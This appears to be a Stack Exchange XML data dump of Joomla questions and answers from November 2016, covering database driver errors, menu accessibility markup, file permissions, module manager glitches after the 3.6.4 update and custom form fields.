  <row Id="18286" PostTypeId="2" ParentId="17305" CreationDate="2016-11-07T17:53:29.703" Score="1" Body="&lt;p&gt;Probably the server configuration has changed, either by your hosting provider or it could be you - if for example you switched the php handler for your hosting.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this error says is that the mysqli isn't available in your current php setup, but your Joomla configuration relies on it to connect to the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to change this manually in the configuration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'mysqli';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'pdomysql';    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if that won't work again to:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'mysql';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In any case report this to your hosting provider and ask them for more information, as to what has changed (if it was not you) and why you weren't informed.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-07T17:53:29.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18287" PostTypeId="1" AcceptedAnswerId="18324" CreationDate="2016-11-07T19:56:26.553" Score="1" ViewCount="446" Body="&lt;p&gt;I am trying to make a Joomla menu more accessible. I am using Bootstrap 3 and letting Joomla generate the menu and dropdowns but I need to add ' &lt;strong&gt;data-toggle=&quot;dropdown&quot; role=&quot;button&quot; aria-haspopup=&quot;true&quot; aria-expanded=&quot;false&quot;&lt;/strong&gt; ' to the top level href among some other aria elements (See example below). However cannot figure out how to use the template overrides to input the information I need. I would prefer not to have to code the menu manually but I will if I have too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav  navbar-nav&quot; &amp;gt;&#xA;   &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;      &amp;lt;a href=&quot;#&quot; &#xA;         id=&quot;toplevelitem&quot; &#xA;         class=&quot;dropdown-toggle&quot; &#xA;         data-toggle=&quot;dropdown&quot; &#xA;         role=&quot;button&quot; &#xA;         aria-haspopup=&quot;true&quot; &#xA;         aria-expanded=&quot;false&quot;&#xA;      &amp;gt;&#xA;       Top Level Item&#xA;       &amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;       &amp;lt;ul class=&quot;dropdown-menu&quot; role=&quot;menu&quot; aria-labelledby=&quot;toplevelitem&quot;&amp;gt;&#xA;          &amp;lt;li role=&quot;presentation&quot;&amp;gt;&amp;lt;a role=&quot;menuitem&quot; href=&quot;#&quot;&amp;gt;Item 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li role=&quot;presentation&quot;&amp;gt;&amp;lt;a role=&quot;menuitem&quot; href=&quot;#&quot;&amp;gt;Item 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li role=&quot;presentation&quot;&amp;gt;&amp;lt;a role=&quot;menuitem&quot; href=&quot;#&quot;&amp;gt;Item 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2023-04-07T19:30:31.407" Title="Joomla and Make the menu more accessible" Tags="|joomla-3.x|menu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18288" PostTypeId="2" ParentId="18117" CreationDate="2016-11-07T23:49:45.690" Score="3" Body="&lt;p&gt;That really depends on the template you're using.&#xA;For most cases all you need to do is upload the favicon.ico file into the root directory your website (it can be: public_html , htdocs , httpdocs etc.)&#xA;Sometimes you need to copy the .ico file also into the template directory, which is under: &lt;code&gt;/public_html/templates/your_template_name/&lt;/code&gt;&#xA;Please use browser tool &quot;Inspect Element&quot; and determine where you should put that file.&#xA;You can always provide us with your site name and we will be able to check this for you.&lt;/p&gt;&#xA;" OwnerUserId="9256" LastActivityDate="2016-11-07T23:49:45.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18289" PostTypeId="2" ParentId="18117" CreationDate="2016-11-08T01:08:11.207" Score="2" Body="&lt;p&gt;Answer provided by Neil is my vote for &quot;The Answer&quot; - but if you're looking for a more robust favicon option, you can do so with this favicon generator:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.favicon-generator.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.favicon-generator.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will provide you with a favicon file, and meta data to include in your header. You just need to adjust the file path accordingly.  The advantage of using this is that it will generate icons for a variety of devices. That's nice if you anticipate your users will be saving the site to their phone icons.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-11-08T01:08:11.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18290" PostTypeId="1" CreationDate="2016-11-08T09:29:15.793" Score="3" ViewCount="244" Body="&lt;p&gt;I have the following problem: I have a apache server running under the user &lt;code&gt;http:http&lt;/code&gt;. Further the php scripts are evaluated through fastcgi and &lt;code&gt;php-fpm&lt;/code&gt;. The php scripts are running under the user &lt;code&gt;foo:foo&lt;/code&gt;. The files of joomla are owned by &lt;code&gt;foo:foo&lt;/code&gt; and uploads are done via FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I modify the &lt;code&gt;index.php&lt;/code&gt; of joomla to touch a temporary file it gets the correct rights (owned by &lt;code&gt;foo:foo&lt;/code&gt; and file permissions &lt;code&gt;rw-r--r--&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I install a plugin from within the backend, the files get the same owner (&lt;code&gt;foo:foo&lt;/code&gt;) but another set of permission (&lt;code&gt;rw-------&lt;/code&gt;). Folders get the correct &lt;code&gt;rwxr-xr-x&lt;/code&gt;. (Remark: I installed the plugin directly from the web. So I did not upload the extracted files via FTP or similar. Instead joomla did extract the zip file.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that my configuration is ok in general but in case of an installation using joomla backend some bug seems to be triggered. What do you think? Is there any way of further debugging?&lt;/p&gt;&#xA;" OwnerUserId="9259" LastActivityDate="2016-11-10T15:57:38.983" Title="Why does Joomla change the file permissions on installation of plugins?" Tags="|file-upload|permissions|file-permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18291" PostTypeId="1" CreationDate="2016-11-08T09:55:53.420" Score="1" ViewCount="1190" Body="&lt;p&gt;When i try to edit my posts in the joomla frontend i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: Joomla is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can open the posts editor in the frontend, change the content and when i want to save it i get another error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: Joomla is not defined at HTMLButtonElement.onclick&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i solve this problem? Looks like a script or something is missing. Im using Joomla Version 3.6.4, use a frontend built from scratch and my admin template is isis.&lt;/p&gt;&#xA;" OwnerUserId="4156" LastActivityDate="2016-11-08T15:25:59.753" Title="Frontend edit not working - &quot;ReferenceError: Joomla is not defined&quot;" Tags="|front-end|editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18293" PostTypeId="2" ParentId="18291" CreationDate="2016-11-08T15:25:59.753" Score="1" Body="&lt;p&gt;There can be javascript cache problems. &lt;br&gt;&#xA;Clear your browser/Joomla! cache first: &lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Help36:Site_Maintenance_Clear_Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help36:Site_Maintenance_Clear_Cache&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;http://www.wikihow.com/Clear-Your-Browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wikihow.com/Clear-Your-Browser&lt;/a&gt;'s-Cache &lt;br&gt;&#xA;If that won't help simply reinstall Joomla! Keep in mind that all your CSS changes will override during reinstallation. &lt;/p&gt;&#xA;" OwnerUserId="9256" LastActivityDate="2016-11-08T15:25:59.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18294" PostTypeId="1" CreationDate="2016-11-08T16:23:58.167" Score="0" ViewCount="45" Body="&lt;p&gt;I am using Joomla version 3.6.4. Currently my urls are long and reffereing to the template theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://multitrix.co.uk/chairman-quickstart-package/index.php/corporate-home-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://multitrix.co.uk/chairman-quickstart-package/index.php/corporate-home-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to just say: www.multitrix.co.uk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to change this? &lt;/p&gt;&#xA;" OwnerUserId="9261" LastEditorUserId="3650" LastEditDate="2016-11-08T18:12:13.533" LastActivityDate="2016-11-08T22:08:08.403" Title="My website url keeps referring to the template folder" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18295" PostTypeId="2" ParentId="18285" CreationDate="2016-11-08T19:07:20.770" Score="1" Body="&lt;p&gt;So far this is not yet possible to do in Joomla. Nested subforms or in other words multi level subforms is on the agenda. It's just hoping a good volunteer is ready to tacke this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info can be found here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/11551&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/11551&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meanwhile the only possible solution is to add your own javascript and copy the values from every input/select field that you added into the deep levels and make them save on the base level. While in theory this would work in reality it will be a absolute hell to manage.&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2016-11-08T19:07:20.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18296" PostTypeId="2" ParentId="18294" CreationDate="2016-11-08T22:08:08.403" Score="1" Body="&lt;p&gt;This is not the template folder, it is that you have installed a quick-start package inside the folder chairman-quickstart-package of your document root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply need to move this joomla installation from that folder to the doc root of your hosting account (usually called public_html in cPanel hosting). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer to this Q/A to learn how to do this:&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5207/how-to-move-my-site-from-subfolder-to-root&quot;&gt;How to move my site from subfolder to root?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore this is not a site, is a demo, so its deeper urls are sample urls to sample pages that have nothing to do with what your final urls/pages will look like.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-11-08T22:08:08.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18297" PostTypeId="1" CreationDate="2016-11-08T23:05:08.803" Score="0" ViewCount="61" Body="&lt;p&gt;Recently I found out that meta tag &lt;code&gt;rel=&quot;canonical&quot;&lt;/code&gt; is missing from my page source.&#xA;So I went to SEF plugin. It was published.&#xA;But the field 'Site Domain' was empty.&#xA;I entered &lt;code&gt;http://my-site.com&lt;/code&gt; in the field and &lt;code&gt;rel=canonical&lt;/code&gt; appeared in the source.&#xA;My question is: &lt;code&gt;http://my-site.com&lt;/code&gt; or &lt;code&gt;http://www.my-site.com&lt;/code&gt; here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Domain is: &lt;code&gt;my-site.com&lt;/code&gt;&#xA;&lt;em&gt;Use URL Rewriting&lt;/em&gt; is ON and I have the following redirect in &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} !^(www\.my-site\.com)?$&#xA;RewriteRule (.*) http://www.my-site.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, www or non-www version is better for this field?&#xA;Or not to use this field at all? Site is well indexed by Google even without &lt;code&gt;rel=canonical&lt;/code&gt;.&#xA;Joomla! 3.6.4&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2016-11-09T16:08:10.827" Title="What is the correct (preffered) entry in SEF plugin for Site Domain" Tags="|sef|system-plugin|metadata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18298" PostTypeId="1" AcceptedAnswerId="18299" CreationDate="2016-11-08T23:40:13.480" Score="0" ViewCount="60" Body="&lt;p&gt;Trying to help a friend with a website that uses SEBLOD.  We can find the relevant article, but it only shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;::cck::4::/cck::&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see in the database with phpmyadmin where the content is stored, under joomla_cck_store_form_apartments.  But I cannot find where that would be available for editing in the admin end of the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="9263" LastActivityDate="2016-11-09T04:26:14.660" Title="How to edit SEBLOD content?" Tags="|joomla-3.4|seblod|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18299" PostTypeId="2" ParentId="18298" CreationDate="2016-11-09T04:26:14.660" Score="0" Body="&lt;p&gt;Try opening &lt;strong&gt;Components &gt; SEBLOD 3.x&lt;/strong&gt; and start looking under &lt;strong&gt;Forms &amp;amp; Content Types&lt;/strong&gt; first.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="2305" LastActivityDate="2016-11-09T04:26:14.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18300" PostTypeId="2" ParentId="18297" CreationDate="2016-11-09T09:52:18.483" Score="0" Body="&lt;p&gt;I think you can choose both, but read previously &lt;a href=&quot;https://support.google.com/webmasters/answer/139066?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/webmasters/answer/139066?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better setting to &#xA;&lt;code&gt;https://www.my-site.com&lt;/code&gt; instead of http if your website supports https.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-11-09T09:52:18.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18301" PostTypeId="1" CreationDate="2016-11-09T11:49:25.133" Score="1" ViewCount="163" Body="&lt;p&gt;Is it possible to add a drag &amp;amp; drop function for sorting inside a repeatable field? I use repeatable fields in my modules and it would be nice to change the order per drag &amp;amp; drop.&lt;/p&gt;&#xA;" OwnerUserId="4156" LastActivityDate="2016-11-09T11:49:25.133" Title="repeatable form field type - drag &amp; drop" Tags="|module|custom-module|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18302" PostTypeId="1" AcceptedAnswerId="18304" CreationDate="2016-11-09T14:21:26.300" Score="3" ViewCount="138" Body="&lt;p&gt;I just updated my joomla site on my dev machine to 3.6.4 and I'm having a problem with the module manager. I can access the module manager just fine, but when I try to edit a module I get sent to a white page with a drop down list of modules but not other info. &lt;a href=&quot;https://i.stack.imgur.com/47YVI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/47YVI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;. I'm relatively new to joomla, so I've never experienced anything like this before. Any ideas what this is or how I can diagnose it? where would I stick php error reporting to get more information about why this is failing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I also get this problem when trying to access modules through the module assignment tab via menus...&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-11T06:48:50.110" Title="Problem accessing individual modules after update to joomla 3.6.4" Tags="|update|joomla-3.6|module-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18303" PostTypeId="2" ParentId="18290" CreationDate="2016-11-09T14:27:08.550" Score="2" Body="&lt;p&gt;Maybe check your PHP fpm configuration. This answer describes how umask is set &lt;a href=&quot;https://stackoverflow.com/a/21319941/123594&quot;&gt;https://stackoverflow.com/a/21319941/123594&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-11-09T14:27:08.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18304" PostTypeId="2" ParentId="18302" CreationDate="2016-11-09T14:29:30.747" Score="4" Body="&lt;p&gt;If anyone else runs into this, clear your browser and joomla cache. The javascript handling the module manager UI was changed and conflicts with what is stored. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-11-11T06:48:50.110" LastActivityDate="2016-11-11T06:48:50.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18305" PostTypeId="1" AcceptedAnswerId="18308" CreationDate="2016-11-09T15:04:47.677" Score="0" ViewCount="89" Body="&lt;p&gt;I just updated my site to version 3.6.4 and I'm having a strange issue where module class suffixes aren't being applied. I'm editing a single article module as well as a custom html advanced module through the module manager UI. The module classes are saved in the forms but they don't get applied to the site's html. Any ideas how to solve this? I have tried flushing the browser and joomla caches to no success.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-11-09T15:11:01.170" LastActivityDate="2016-11-09T16:02:58.140" Title="Module class suffix not applied after joomla update" Tags="|css|custom-module|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18306" PostTypeId="2" ParentId="18305" CreationDate="2016-11-09T15:20:15.543" Score="0" Body="&lt;p&gt;so, I think the issue was fixed by specifying the alternative layout to custom, but I'm not sure. Something fixed it. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-09T15:20:15.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18307" PostTypeId="1" AcceptedAnswerId="20958" CreationDate="2016-11-09T15:41:45.837" Score="1" ViewCount="1896" Body="&lt;p&gt;I got this fiddle: &lt;a href=&quot;http://jsfiddle.net/2h4kLzgj/9/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsfiddle.net/2h4kLzgj/9/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to add this to a custom field in Joomla but for some reason it does not work at all in the administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table shows up but the functionality is not there. But because it shows up the link to the customfield is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the contents of the custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript(JURI::root(true) .'/modules/mod_loginsecurepagemaker/models/assets/js/colResizable-1.5.min.js');&#xA;$document-&amp;gt;addScript('https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js');&#xA;class JFormFieldColumnTwelve extends JFormField {&#xA;&#xA;    protected $type = 'columntwelve';&#xA;&#xA;    public function getInput() {&#xA;&#xA;        return '&amp;lt;table id=&quot;tableResizable&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; &amp;gt;'.&#xA;                '&amp;lt;tbody&amp;gt;'.&#xA;                 '&amp;lt;tr&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                    '&amp;lt;td&amp;gt;cell&amp;lt;/td&amp;gt;'.&#xA;                 '&amp;lt;/tr&amp;gt;'.&#xA;                '&amp;lt;/tbody&amp;gt;'.&#xA;               '&amp;lt;/table&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;body {background:white;}&#xA;#tableResizable {&#xA;  width:100%;&#xA;}&#xA;td {border: 1px solid black;}&#xA;.JCLRgrip .JColResizer {&#xA;    cursor: col-resize!important;&#xA;}&#xA;.grip {&#xA;    width: 4px;&#xA;    height: 100%;&#xA;    margin-top: 0px;&#xA;    margin-left: 2px;&#xA;    background-color: black;&#xA;    position: relative;&#xA;    z-index: 88;&#xA;    cursor: col-resize!important;&#xA;    opacity: 1;&#xA;}&#xA;.grip:hover{&#xA;  background-color: red;}&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;(function ($) {&#xA;    $(&quot;#tableResizable&quot;).colResizable({&#xA;        fixed:true,&#xA;        liveDrag:true,&#xA;        gripInnerHtml:&quot;&amp;lt;div class='grip'&amp;gt;&amp;lt;/div&amp;gt;&quot;,&#xA;        draggingClass:&quot;dragging&quot; });&#xA;})(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone could help me figure out how to get the same effect as in the fiddle then that is highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Style and Script will eventually be placed in the assets folder this is just for quick testing.&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2017-08-07T19:25:24.237" Title="Custom field colResizable plugin not working but works in fiddle" Tags="|module|joomla-3.6|module-params|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18308" PostTypeId="2" ParentId="18305" CreationDate="2016-11-09T16:02:58.140" Score="0" Body="&lt;p&gt;Module class suffixes are applied properly in Joomla 3.6.4. Most likely you have an overridden layout where the suffix is not applied, or it might be that your module is using a deprecated Joomla function to display the suffix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am assuming you cleared your Joomla cache after the update (although Joomla now automatically clears the cache, if I'm not mistaken).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-09T16:02:58.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18309" PostTypeId="2" ParentId="18297" CreationDate="2016-11-09T16:08:10.827" Score="1" Body="&lt;p&gt;That question has been asked so many times and created very long arguments that were never won by anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought: Take a look at google's website, and see if they use www, and do what they're doing, since they are doing what they think is right, and, as a site administrator, you should only care about their opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: They use www on google.com, google.ca, and every other google in the world.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-09T16:08:10.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18311" PostTypeId="1" AcceptedAnswerId="18329" CreationDate="2016-11-09T17:39:22.610" Score="0" ViewCount="115" Body="&lt;p&gt;I just updated my site to 3.6.4 and in doing some maintenance noticed that there were unauthorized users added to the site to the registered users group. I was able to delete the users without a problem, some were obviously spammers, some with domain name suffixes coming from eastern Europe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to worry about what I registered user could do with privilege escalation? should I change all the server passwords? I've read that the 3.6.4 update was specifically to fix a privilege escalation exploit, but what else should I do?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-10T15:45:50.413" Title="Do I need to worry about unauthorized users with registered accounts?" Tags="|security|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18312" PostTypeId="1" CreationDate="2016-11-09T22:25:38.137" Score="2" ViewCount="627" Body="&lt;p&gt;i need add 2 fields to the component content (articles), need add 2 images and try some examples but don't work :-( have a github with the last try&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/javimata/plg_addfield&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/javimata/plg_addfield&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can help me to check what happend? what i do wrong?&lt;/p&gt;&#xA;" OwnerUserId="9265" LastActivityDate="2017-07-14T09:52:10.543" Title="Custom Fields in component Articles - Joomla 3.6.4" Tags="|custom-field|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18313" PostTypeId="2" ParentId="9429" CreationDate="2016-11-10T07:02:57.967" Score="-1" Body="&lt;p&gt;I was doing it myself but now I use &lt;a href=&quot;https://extensions.joomla.org/extension/admin-menu-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/admin-menu-manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2016-11-10T07:02:57.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18314" PostTypeId="2" ParentId="17904" CreationDate="2016-11-10T07:23:02.843" Score="1" Body="&lt;p&gt;I found solution for this issue, the problem was in moduletable.php file after end of php code there was empty space, so I delete it and problem is fixed.&lt;/p&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2016-11-10T07:23:02.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18316" PostTypeId="1" CreationDate="2016-11-10T10:26:23.883" Score="0" ViewCount="670" Body="&lt;p&gt;I searched a Plug-In or Extension for Joomla! to present the Phoca Download Plug-In's Sitemap on the right sidebar with categories and it's entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Problem is I can't find any plugin like that anywhere. Is there any alternative Sitemap to display the Phoca Download on right sidebar?&lt;/p&gt;&#xA;" OwnerUserId="9269" LastEditorUserId="3650" LastEditDate="2016-11-10T15:22:31.033" LastActivityDate="2017-01-09T23:45:57.727" Title="How to present Phoca Download's categories and items as a sitemap on the sidebar" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18317" PostTypeId="2" ParentId="18312" CreationDate="2016-11-10T12:06:04.313" Score="2" Body="&lt;p&gt;Custom field will be supported natively in the upcoming Joomla 3.7. &#xA;But if you're in hurry, you can try &lt;a href=&quot;https://extensions.joomla.org/extension/aixeena-cck&quot; rel=&quot;nofollow noreferrer&quot;&gt;Aixeena Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-10T12:06:04.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18318" PostTypeId="2" ParentId="18307" CreationDate="2016-11-10T12:22:52.693" Score="2" Body="&lt;p&gt;How about to change the $ sign with jQuery? &#xA;So the code would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#tableResizable&quot;).colResizable({&#xA;        fixed:true,&#xA;        liveDrag:true,&#xA;        gripInnerHtml:&quot;&amp;lt;div class='grip'&amp;gt;&amp;lt;/div&amp;gt;&quot;,&#xA;        draggingClass:&quot;dragging&quot; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-10T12:22:52.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
